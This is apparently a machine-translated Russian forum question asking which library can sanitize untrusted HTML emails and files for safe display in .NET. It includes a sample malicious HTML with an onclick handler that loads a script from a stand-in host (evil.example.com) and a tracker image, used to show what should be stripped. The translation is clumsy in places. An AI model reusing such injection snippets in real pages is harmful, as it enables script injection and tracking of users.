Это обычная проблема, я надеюсь, что она была полностью решена для меня.
В системе, которую я выполняю для клиента, мы хотим принять HTML из ненадежных источников (HTML-форматированный адрес электронной почты, а также файлы HTML), дезинформировать его, чтобы у него не было никаких сценариев, ссылок на внешние ресурсы и другая безопасность/и т.д. вопросы; а затем безопасно отображать его, не теряя при этом основного форматирования. Например, так же, как клиент электронной почты будет обрабатывать электронную почту в формате HTML, но в идеале, не повторяя 347 821 ошибки, которые были сделаны (до сих пор) на этой арене.: -)
Цель состоит в том, чтобы в итоге нам было комфортно отображать внутренние пользователи через iframe
в нашем собственном веб-интерфейсе или через Класса WebBrowser в приложении .Net Windows Forms (которое, кажется, не безопаснее, возможно, меньше) и т.д. Пример ниже.
Мы понимаем, что некоторые из них могут хорошо отображать текст; это нормально.
Мы будем дезинфицировать HTML-код при получении и сохранении дезинфицированной версии (не беспокойтесь о части памяти и SQL-инъекциях и т.д.), мы получили этот бит.
Программное обеспечение должно запускаться на Windows Server. Рекомендуется сборка COM DLL или .Net. FOSS явно предпочтительнее, но не является нарушителем сделки.
Что я нашел до сих пор:
- проект AntiSamy.Net (но он выглядит как no более длительное время находится в активной разработке, более чем за год отстает от основного проекта – проекта AntiSamy Java).
- Некоторый код из нашего собственного Джеффа Этвуда, около трех лет назад (да, интересно, что он делал...).
- HTML Agility Pack (используется проектом AntiSamy.Net выше), что дало бы мне сильный синтаксический анализатор; то я мог бы реализовать свою собственную логику для прохождения через итоговую DOM и отфильтровывать все, что я не имел в белом списке. Пакет маневренности выглядит действительно замечательно, но я буду полагаться на свой собственный белый список, а не на повторное использование колеса, которое кто-то уже изобрел, так что против него.
- Microsoft Anti-XSS library
Что бы вы порекомендовали для этой задачи? Один из вышеперечисленных? Что-то еще?
Например, мы хотим удалить такие вещи, как:
-
script
элементы -
link
,img
и такие элементы, которые обращаются к внешним ресурсам (возможно, заменяютimg
текстом "[изображение удалено" ] или некоторые такие) -
embed
,object
,applet
,audio
,video
и другие теги, которые пытаются создать объекты -
onclick
и аналогичный обработчик событий DOM0 script code -
href
наa
элементы, которые запускают код (даже ссылки, которые, как нам кажется, в порядке, мы можем превратиться в открытый текст, который пользователи должны умышленно скопировать и вставить в браузер). - __________ (722 вещи, о которых я не думал, являются причиной, по которой я ищу, чтобы использовать то, что уже существует)
Так, например, этот HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="#" onclick="location.href='http://evil.example.com/tracker.css'; return false;">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
станет
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(Обратите внимание, что мы полностью удалили link
и onclick
и заменили img
на заполнитель. Это всего лишь небольшое подмножество того, что мы считаем нужным вырезать.)